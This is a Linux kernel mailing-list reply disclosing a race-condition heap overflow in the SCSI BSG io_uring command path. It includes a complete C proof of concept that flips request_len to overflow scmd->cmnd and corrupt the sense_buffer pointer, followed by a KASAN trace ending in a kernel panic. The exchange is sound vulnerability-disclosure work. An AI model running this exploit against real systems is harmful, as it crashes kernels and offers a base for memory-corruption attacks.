Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE
Rahul Chandelkar <[email protected]>
| Newsgroups | org.kernel.vger.io-uring,org.kernel.vger.linux-block,org.kernel.vger.linux-scsi |
|---|---|
| Message-ID | <[email protected]> |
On Wed, May 27, 2026 at 10:06:44AM -0600, Jens Axboe wrote:
> I don't think this is the right way to fix it, ->sqe should've been
> stable upfront if this ends up happening. Can you share your poc with
> me? Your trace has been trimmed down way too much to be useful.
Agreed that a core-level copy before the inline callback would be the
right fix and would eliminate the entire class for every uring_cmd
driver. The per-driver copy was meant as a minimal backportable fix
for the immediate scsi_bsg path.
PoC and full trace below.
--- PoC (poc_bsg_toctou.c) ---
Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c
Usage: ./poc /dev/bsg/X
Needs: 2+ CPUs, io_uring, /dev/bsg/* access
The racer thread flips request_len between 16 (passes the <=32 bounds
check) and 128 (used by copy_from_user, overflows scmd->cmnd[32]).
The overflow payload plants 0xdead000000001000 at the sense_buffer
pointer offset (+84 from cmnd[0]). When scsi_queue_rq() does
memset(scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE) it faults on the
corrupted pointer.
Tested on v7.1-rc1, KASAN, QEMU virtio-scsi, 2 vCPUs.
/*
* PoC: SCSI BSG uring_cmd TOCTOU heap buffer overflow
*
* Overflows scmd->cmnd[32] to corrupt sense_buffer pointer.
* On successful race, memset(corrupted_sense_buffer, 0, 96) in
* scsi_queue_rq() causes a kernel fault proving the vulnerability.
*
* Usage: ./poc /dev/bsg/X
* Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>
struct bsg_uring_cmd {
uint64_t request;
uint32_t request_len;
uint32_t protocol;
uint32_t subprotocol;
uint32_t max_response_len;
uint64_t response;
uint64_t dout_xferp;
uint32_t dout_xfer_len;
uint32_t dout_iovec_count;
uint64_t din_xferp;
uint32_t din_xfer_len;
uint32_t din_iovec_count;
uint32_t timeout_ms;
uint8_t reserved[12];
};
#define QUEUE_DEPTH 4
#define OVERFLOW_LEN 128
#define SAFE_LEN 16
static atomic_int stop_flag = 0;
static int sys_io_uring_setup(unsigned entries, struct io_uring_params *p)
{
return syscall(__NR_io_uring_setup, entries, p);
}
static int sys_io_uring_enter(int fd, unsigned to_submit,
unsigned min_complete, unsigned flags)
{
return syscall(__NR_io_uring_enter, fd, to_submit, min_complete,
flags, NULL, 0);
}
struct race_ctx {
volatile uint32_t *target;
int cpu;
};
static void *racer_thread(void *arg)
{
struct race_ctx *ctx = arg;
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(ctx->cpu, &cpuset);
sched_setaffinity(0, sizeof(cpuset), &cpuset);
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
*ctx->target = OVERFLOW_LEN;
*ctx->target = OVERFLOW_LEN;
*ctx->target = OVERFLOW_LEN;
*ctx->target = OVERFLOW_LEN;
}
return NULL;
}
int main(int argc, char **argv)
{
struct io_uring_params params;
int ring_fd, bsg_fd;
void *sq_ring, *cq_ring, *sqe_ring;
unsigned *sq_head, *sq_tail, *sq_mask, *sq_array;
unsigned *cq_head, *cq_tail, *cq_mask;
size_t sqe_stride;
pthread_t racer;
struct race_ctx rctx;
int i, attempts = 0;
int max_attempts = 500000;
if (argc < 2) {
fprintf(stderr, "Usage: %s /dev/bsg/X\n", argv[0]);
return 1;
}
bsg_fd = open(argv[1], O_RDWR);
if (bsg_fd < 0) {
perror("open bsg");
return 1;
}
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
sched_setaffinity(0, sizeof(cpuset), &cpuset);
memset(¶ms, 0, sizeof(params));
params.flags = IORING_SETUP_SQE128 | IORING_SETUP_CQE32;
ring_fd = sys_io_uring_setup(QUEUE_DEPTH, ¶ms);
if (ring_fd < 0) {
perror("io_uring_setup");
return 1;
}
size_t sq_ring_sz = params.sq_off.array +
params.sq_entries * sizeof(unsigned);
sq_ring = mmap(NULL, sq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_SQ_RING);
sq_head = sq_ring + params.sq_off.head;
sq_tail = sq_ring + params.sq_off.tail;
sq_mask = sq_ring + params.sq_off.ring_mask;
sq_array = sq_ring + params.sq_off.array;
sqe_stride = 2 * sizeof(struct io_uring_sqe);
sqe_ring = mmap(NULL, params.sq_entries * sqe_stride,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
ring_fd, IORING_OFF_SQES);
size_t cqe_size = sizeof(struct io_uring_cqe) + 16;
size_t cq_ring_sz = params.cq_off.cqes +
params.cq_entries * cqe_size;
cq_ring = mmap(NULL, cq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_CQ_RING);
cq_head = cq_ring + params.cq_off.head;
cq_tail = cq_ring + params.cq_off.tail;
cq_mask = cq_ring + params.cq_off.ring_mask;
unsigned char payload[OVERFLOW_LEN];
memset(payload, 0x41, sizeof(payload));
payload[0] = 0x12; /* INQUIRY opcode */
uint64_t bad_sense = 0xdead000000001000ULL;
memcpy(payload + 84, &bad_sense, 8);
printf("[*] SCSI BSG uring_cmd TOCTOU PoC\n");
printf("[*] Target: %s\n", argv[1]);
printf("[*] Overflow: %d -> %d bytes (sense_buffer at +84)\n",
SAFE_LEN, OVERFLOW_LEN);
printf("[*] Bad sense_buffer: 0x%lx\n", (unsigned long)bad_sense);
rctx.cpu = 1;
while (attempts < max_attempts) {
unsigned tail = *sq_tail;
unsigned idx = tail & *sq_mask;
struct io_uring_sqe *sqe =
(struct io_uring_sqe *)((char *)sqe_ring +
idx * sqe_stride);
memset(sqe, 0, sqe_stride);
sqe->opcode = IORING_OP_URING_CMD;
sqe->fd = bsg_fd;
struct bsg_uring_cmd *cmd =
(struct bsg_uring_cmd *)((char *)sqe + 48);
cmd->request = (uint64_t)(unsigned long)payload;
cmd->request_len = SAFE_LEN;
cmd->protocol = 0;
cmd->subprotocol = 0;
cmd->max_response_len = 96;
cmd->timeout_ms = 1000;
rctx.target = &cmd->request_len;
if (attempts == 0) {
pthread_create(&racer, NULL, racer_thread, &rctx);
usleep(1000);
}
sq_array[idx] = idx;
cmd->request_len = SAFE_LEN;
__atomic_store_n(sq_tail, tail + 1, __ATOMIC_RELEASE);
sys_io_uring_enter(ring_fd, 1, 1, IORING_ENTER_GETEVENTS);
while (*cq_head != *cq_tail)
__atomic_store_n(cq_head, *cq_head + 1,
__ATOMIC_RELEASE);
attempts++;
if (attempts % 50000 == 0)
printf("[*] %d attempts...\n", attempts);
}
atomic_store(&stop_flag, 1);
pthread_join(racer, NULL);
printf("[!] %d attempts done. Check dmesg for crash.\n", attempts);
close(bsg_fd);
close(ring_fd);
return 0;
}
--- Full KASAN trace (untruncated) ---
[ 4.784469] ==================================================================
[ 4.784815] BUG: KASAN: wild-memory-access in scsi_queue_rq+0x4a3/0x58a0
[ 4.785140] Write of size 96 at addr dead000000001000 by task poc/67
[ 4.785443]
[ 4.785529] CPU: 0 UID: 0 PID: 67 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(lazy)
[ 4.785532] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 4.785534] Call Trace:
[ 4.785536] <TASK>
[ 4.785537] dump_stack_lvl+0x53/0x70
[ 4.785540] kasan_report+0xce/0x100
[ 4.785543] ? scsi_queue_rq+0x4a3/0x58a0
[ 4.785546] kasan_check_range+0x105/0x1b0
[ 4.785549] __asan_memset+0x23/0x50
[ 4.785550] scsi_queue_rq+0x4a3/0x58a0
[ 4.785553] ? __pfx_scsi_queue_rq+0x10/0x10
[ 4.785556] ? scsi_mq_get_budget+0xa8/0x670
[ 4.785558] blk_mq_dispatch_rq_list+0x462/0x42b0
[ 4.785561] ? blk_mq_rq_ctx_init+0x57a/0xcc0
[ 4.785564] ? __pfx_blk_mq_dispatch_rq_list+0x10/0x10
[ 4.785566] ? __pfx__raw_spin_lock+0x10/0x10
[ 4.785569] __blk_mq_sched_dispatch_requests+0x2e2/0x23a0
[ 4.785574] ? __pfx___blk_mq_sched_dispatch_requests+0x10/0x10
[ 4.785580] ? blk_mq_insert_request+0x402/0x13f0
[ 4.785582] blk_mq_sched_dispatch_requests+0xec/0x270
[ 4.785584] blk_mq_run_hw_queue+0x797/0x10e0
[ 4.785586] scsi_bsg_uring_cmd+0x942/0x1570
[ 4.785588] ? __pfx_scsi_bsg_uring_cmd+0x10/0x10
[ 4.785594] io_uring_cmd+0x2f6/0x950
[ 4.785599] __io_issue_sqe+0xb6/0xcc0
[ 4.785601] io_issue_sqe+0xe5/0x22d0
[ 4.785606] ? io_uring_cmd_prep+0x619/0xa10
[ 4.785609] io_submit_sqes+0xb4a/0x4540
[ 4.785614] __do_sys_io_uring_enter+0x148c/0x2f50
[ 4.785618] do_syscall_64+0xf9/0x540
[ 4.785621] entry_SYSCALL_64_after_hwframe+0x77/0x7f
Second fault (completion path reading corrupted sense_buffer):
[ 4.799563] KASAN: maybe wild-memory-access in range [0xdead000000001000-0xdead000000001007]
[ 4.800411] RIP: 0010:scsi_normalize_sense+0x47/0x480
[ 4.803461] R12: dead000000001000
[ 4.841254] Kernel panic - not syncing: Fatal exception in interrupt
R12 holds the corrupted sense_buffer pointer (0xdead000000001000),
confirming the overflow overwrote sense_buffer at the expected offset.
The io_submit_sqes -> io_issue_sqe -> io_uring_cmd -> scsi_bsg_uring_cmd
path shows this is the inline execution path where the SQE has not been
copied to kernel memory yet.
Rahul